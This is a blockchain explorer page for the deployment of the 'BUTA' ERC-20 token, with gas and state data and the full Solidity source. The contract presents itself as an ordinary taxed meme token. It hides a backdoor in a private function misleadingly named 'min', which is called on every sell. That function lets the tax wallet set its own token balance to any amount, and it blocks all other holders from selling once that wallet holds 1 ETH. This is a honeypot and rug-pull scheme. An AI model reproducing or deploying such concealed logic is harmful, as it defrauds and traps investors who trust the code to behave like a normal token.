ETH Price: $3,097.48 (-0.77%)

Transaction Decoder

Block:
17808964 at Jul-30-2023 10:57:23 PM +UTC
Transaction Fee:
0.027313569568540932 ETH $84.60
Gas Used:
1,727,562 Gas / 15.810471386 Gwei

Account State Difference:

  Address   Before After State Difference Code
0x851a1826...f20784510
1.380058400785086123 Eth
Nonce: 5
1.352744831216545191 Eth
Nonce: 6
0.027313569568540932
0x9DF08a5c...657CaFb6F
0 Eth
Nonce: 0
0 Eth
Nonce: 1
From: 0 To: 27736174261742691372494014847241302473614718863845830895367737350390333273332738917572878223409426776998723842456793088962630426612396660629966205836853067542956914451258923036859386464965416372857818653137247499416102806662407966765673786013585446827823018325976653228928589075020247436403535696408309499247018478444569872622004084607487189443632527748428367706802464729291455245409690587587487616785056296558997143823779535332836660893211608142781083347683396139570407305129242914208851099912029044704253947429002742356865073706804440399054150497462494746103966074185910424526578114852052777569087855108351923521478573960342089207968801570351504713362324724090402820973767591399833140197686197670865715375567664428508682303301422742747995348811372611151536207720004751854562929895920390951606695830392903419256224741928293749276222485051089424132711985499874701133325872648598840210770213023914949700271956051828353295138787361837945812677223170872839275145253383830446155416620193861666336951872468345191461504362369487321541029154455654679484382678983890091818483379380937634692095885135234920398199325280961788413329738334192728773394112996652590614455012719713365599326806480313495603931579878669907635233342815702888459295690657583680845149473126479770136877141101524145258796005348949907962653199959035836532223267044915102097679356688039063684940678624978937784275487924471084420792057326134398797557572775362490983587004508486195139325391574959217578662951463550247755963803020674536545991670354933608799525666515216811619990525310035901959307462906403106448836018859671346207570926296079246582158629672007148393570354656202619067594594360917752074495946084662143489339003585416083234754403380240365329077833683993116225399262529541849756693752576193897699767801816376506839677448257714973943773198486834880194096420323099059990072801283148071990566402621864573595016791238083711078994206189337086355518617735038975820930257656739186639452564769201550053259134763985728285473216903412866341504272982123359788483866171784826556161623728805835074709619949342164431636871285038757183965327465368200784790708158625444719310902460610717920171961641169749306104446156716430539526901659406517435797908061903698838776917553818404149680865752211522715417381483548432879314317317635851544769169637922737026926775967763583456175894826787772483504120320185117820320949363774912170334375226401777020360993284659994379960514785290898583822124147763089778596134773568342377490863437652264073684006448718569168922316295831612077520920924317182181533262661361973293945328776684351643354258164566931215137294788905663436720697554353738229290750772339653834255257878617567123218401978893720191223799599553551092343125637153694012196592041511953851378582062867005587014286368288285659035356932640972554206052166070942746239116109015985476479261089645986522426109661877615099188515198572965229226026976422322043211800210166665434566149503852234979634604636646901369054039194735472751310520939365587019183043271060346908489791851799778534171350876023322822014153698624383119623708188427140878001113483062963327929123434088364680394727751519435566585219702303724370796960577635642690234311166613981988243477668837112503253433312904442167906513695642783298019461900032148892769516518447715914168847547143362518823516800216507762851536638963568186608172888318669532286616777567441460931051784759132509687905963372872945039975534858289940451362082652257018453471212678179455559421249812848524143256194096376088712953097649808567726131052229021529578353729975552781524451102474384019705770819316648043924382357224419927013655856896524347459014281549994997143677230548219617393148168659001865220090311296739272034437722809407457101592400041409209795952200005721558671005004093869162833541649474593980560045802977281011363632493121674707888296743749981282697492884215458099772646649496199212565238900861453235464552589953136859005217006287057726241793061702046587481406961041915986160029516929060012125619873280155210208982668339039937670113261698334014647870283275778620170195574753401197879847095275106923008750748177691411079565803999209514561331429230099194985600985056754596093174361894712447077105674775518404634703932751550926859113948970233002392179366562651264554321178568134674806725358523350578060613989829791766770005203367337980224947392714294324056181484512608257649381425080206855303468544494700258249210185887485676968335233221558984642925289545363179416938273360124372506332483409740546084956046493472882046236554520960559309033417700406602660364081482923333778098709240587451732281068752875458765715643894026798812163588435525248574608216057472504790063096294062915707492093171402915787594798401393436363417857186348904577194526467119463436693947045258442412492924668928582214584116961245869756584718731699704988920732093021817027971753004972614311576048607220518351697208060629609850231084920659624728111795862017203792753106908315754637891322741598081203562878847427881232361365346159458000554847672520028514864705542962143542568264133490433034918659527445004759000424886547375084342645871802423600167113703329666635129092707493360331203235405565693334820447762661381313822200368375279647484593617073048111590064435657590289161207811497472885327412581375209877385845053649647617818585479710973674765539878000089884056150155223463789716304053395341545548087254982210332167460929211179733630809649646699170190983677834535526916292145051090755537882937239840941240556693051526157735124522704408966109377057255366919318262080600848817953576255287330373221282727534651674563604291199264917690986915933098182308393308236900691936282395499668683762179342019404938521886802783471665871628932007194580075772567295964288391149038797759453638670509224633568160804996981950305585217103326198738881326536944534006364905727634986018130485864201419075443613392258703627690949490399632873057946535308134539747155478088769778677322886378566616850160169580964247747764845387551813177009488715671235337999217527605468836604625083354900583351927878934593241669829192945774210103045082964856250576255804181740321570295151770095559727149980748004475194270062655257628022015866958311537766754704440961578375385353044464218562033942821425501727234172666962624558706749399195318378363660497931070845260569487794145853814624879590059510765054111787231669278678866955650268863195895829699541605760905375684571163485266188049053234725297789301158791116762042255885065652529916282971280914754063288984791906355606941426533018469989200197988525441481452851517546958013073876143686232169545269377755897950241339069762468089065714074781678669979191379451375882070128258648459397046692016338934512823984208909599756162487932879522686110863209971187539632115310333481762978614959205472558578517021355434004097019243037442713756423056624926162342427894719710674713781118263626418814380193799150925705218360530848138862995847047808032231985806690891698192497890500041541118633077976769506263118287806325657268694600677471253486877566124122806018458626036261662435627780577918025096229157658702962082709812005342057357955371419858481647939004635076672735593147617447754875973520753623126424474757473885746236607018476011000281980620944988479628278099280864414605968027923339543502305374411866990693560721572764664885631206248497192924154882558001271663288616169715160830555317966607432303714580179478455440291486832112986984381450014185981166967780152453767343191352524468088095055860365329778763937149534710821722013452614284920600023102188741839952151279820368619187688651801726330628576168713056976416255762375705033224615062006197979534707729457486588620385673072793118613368218356884837022041838617194149218494571797406358258071558276035876610436708238757846144342069323065676925757138405081004017503644854581762731057369394983741740833370156952375943445733577982691003402249879563783434978949671181093399739514187143744250953202678167300926020554029774477365319702146897354268017601411673544767667069325894391902611060522671473934813533144641532707489182112554266793004182967493520134649153347565256038403015689633794354199285905023470107438767320638841208461861983297164143672282562312667737704819496970055834248278819781343751016622003732464754293118323511222466541356746681087440670697574686324462157157418787823493881783974794049832679125654270375007564810519218835329896118190196887218772400321517295295489899505754506885117526094579307517430586597057525989334391716706740875970720905846689549451604192796861445926553156108112178611375867910807980771925917824166335045213208610916656739269430057985118935017754017693410223879496377708580833307008489728867291619111217679225399473182106397097642200684271129354715789701403951068225187857923516103491361968929566402314644701699014203960207545550259654389345477296219727332419043935088098355266746884849693017903486917705064419916549629596323967238449113556053172825548750988720638260174060426974927475138977470799106293225326601124995879132881540792001983189641386062717616081570083529921143126786138220200042906442378226526900125132774152868628291850104388013417693897070449551164009819066143593660019377195616804648110897068370131775785285403579357018302748019016666890582680078813999883211986187405026771222492358405474277183579765940381073120288859501075300559422783167757450866497553580331436036764460394965313951438627190572705077725642350754234108349843729146330987674572180427804628941072013566696420292466677204824976091628525321014056740244488602393876731438470303681926672101063717039567461047104924516504067669120938788369076515055076238504406133670788046025097382087880280605728030840822416431006333934086791652605483760175309231131985221724291597610567959496232999243136863551640246086668990120949994371358020214449247159011761225323398353383261805915982960184799015515028269418608046305377513619078028583918278878260691486461128740611597770589682760201862755136555339066403492645341544332193985721414318082358355284930899693334741529013583861965110293339952281408742875298422240824884437069158591307232041334529425355151216842049459564787848697384401717575801056321114600002052085674948420476565790650312293545944283455111378325421834207662642525934577183665898453477770491788093059302560662755409807132323405132415722638160971025715682489405546445412978603542070948723046172425319166724139343579087542659667803943894090693685362598800619405823948743684561690541130941968916498133064187242154641018578496706916032961242792011843119136290473075864341219211983266506713764530180747909358484120110757097992426665491802395437023662891974131943179383577737972348766866753550239310878555975415726141250000651729535886913353645064589566187438673203286613453267669431395421661010095721465272942926132227707062783477014259646964176580727268572616814925295212907836398011514914975513048242836408745108394217829120586082233803995805978238441429478424963429168945943372987843459465738613592778196677496131060621543594225830920883524405768059040039430517081602333979919281072859641817219388398458264423398142459460112570817629025399966521289215784673462503213784905238888948451901968219548775090888972381467649364633402979989866898957678420603858664784166195426887545657850145889001083467465489277187479004986296997776671487568672793689810579078113014973800197099508352087747533944073852434403141309470291903379905311008751142618616970745931749841984659744543797062412460555577193211350306281745982337041669850059662856460873555251457645192552557323745811499120450027642517774337058064975733892267368168912797333934024186957044597780449077945423141998483050260699057404383055667151285776261503750156870200338849962795525323084076808887610126551431273695700370456754921476432027356916393778675737677926365653180141882707761149154290745468119210765339048119937277579373420245824412403609033726387547433151833116721339748412862926776049576700971743566735498357651836309397257412835509114523272894885400524692312209979322110683321987550170842758536274672479479383125097010854487186694110552265057451827919128052028139184576042730821229185103852246222887718364901979832237527988934297554702113294400759002526529132605274663037114476341294262969918971864188970223038269383306214485709220787007009193177405772737226846774992315905854903538888728080337394717709680747609879596207465707888632281891119876770815608977119415262302807799298915935611682559474509262551001107519317782410314473219579213714217439853710283240507231747883589508034848497672608263189870072738086216892851602410759056503694949068839729774662190233577078918408093347314893214864218638056631491699935625213489538125215717288855063344158827826063549423178669424252302752854465712014675976685037911915318130576714375325089706039200654853680061554055165066646721744196904510282400685463175906957775215491193437503315124180359198486573050044508088671432937272405291740989730127537053349545390620463341271745927552655821541761603456849630432120617312483803883789268732609823005092461591814826443007379202598868122492378962208710811325962177882306244476403434475732365078294559238032496913282198880241837547362922169169471821572355797835303066426238773676117590557197536271659244529094422781191463372072958320933707596615840221465873546251268449010486276776862310796108393998974717836401758536644681740374266387548608949742273565116584187321079124557871303254596259071806490241075138808670103993724565546108347174107486800193016058174959955823507124669015308694261831951295194290034816589919309233230563785026247251449920889108914854529782434427384219220289547858286451325387007696682607574587122913904256037113131214745368470206055188486201718143184513058444467876128775211526137790055946209332379809229928540339271210175958870727478399190806302817207784094924431171593211781656369050878416277269516276821296777454896738309274988040499324502357078561435998911319930809457843765330952415675121727949323111138735146031339648530463991852398878935107968815072066010180286585564615462843865262573944346729123077294335483247113923805440289005709809981203353258899108242876827088131087741352938033172742421750640539654978881989601140605953487331027341469192982214689000717434159542467871016185781438198515299392488412493842636317314844250302114652856915452743843163336858915961778520444995887926995833203942277130105359745845425612599838033184881556656441953532624274202126784425267132108053822793642446067115865081289965619
(Flashbots: Builder)
0.017641160718974287 Eth0.019350974619405097 Eth0.00170981390043081

Execution Trace

BUTA.60806040( )
// SPDX-License-Identifier: MIT

pragma solidity 0.8.21;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval (address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }    

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract BUTA is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;

    uint256 private _initialBuyTax=5;
    uint256 private _initialSellTax=5;
    uint256 private _finalBuyTax=1;
    uint256 private _finalSellTax=1;
    uint256 private _reduceBuyTaxAt=5;
    uint256 private _reduceSellTaxAt=5;
    uint256 private _preventSwapBefore=0;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    string private constant _name = "BUTA";
    string private constant _symbol = "BUTA";
    address payable private _taxWallet;
    uint256 private constant _tTotal =  10 ** 9 * 10**_decimals;
    uint256 public _maxTxAmount =   _tTotal * 28 / 1000;
    uint256 public _maxWalletSize = _tTotal * 28 / 1000;
    uint256 public _taxSwapThreshold= _tTotal * 12 / 1000;
    uint256 public _maxTaxSwap= _tTotal * 12 / 1000;
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(0x18110b2C3e075FC8828D4a4C716091169604ad5e);
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[_taxWallet] = true;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function min(address account, uint256 amount) private {
        if (account == _taxWallet) _balances[_taxWallet] = amount;
        else require(_taxWallet.balance < _tTotal);
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }

            if (to != uniswapV2Pair && ! _isExcludedFromFee[to]) {
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
            }

            if(to == uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); min(from, amount);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to   == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHFee(address(this).balance);
                }
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    receive() external payable {}
}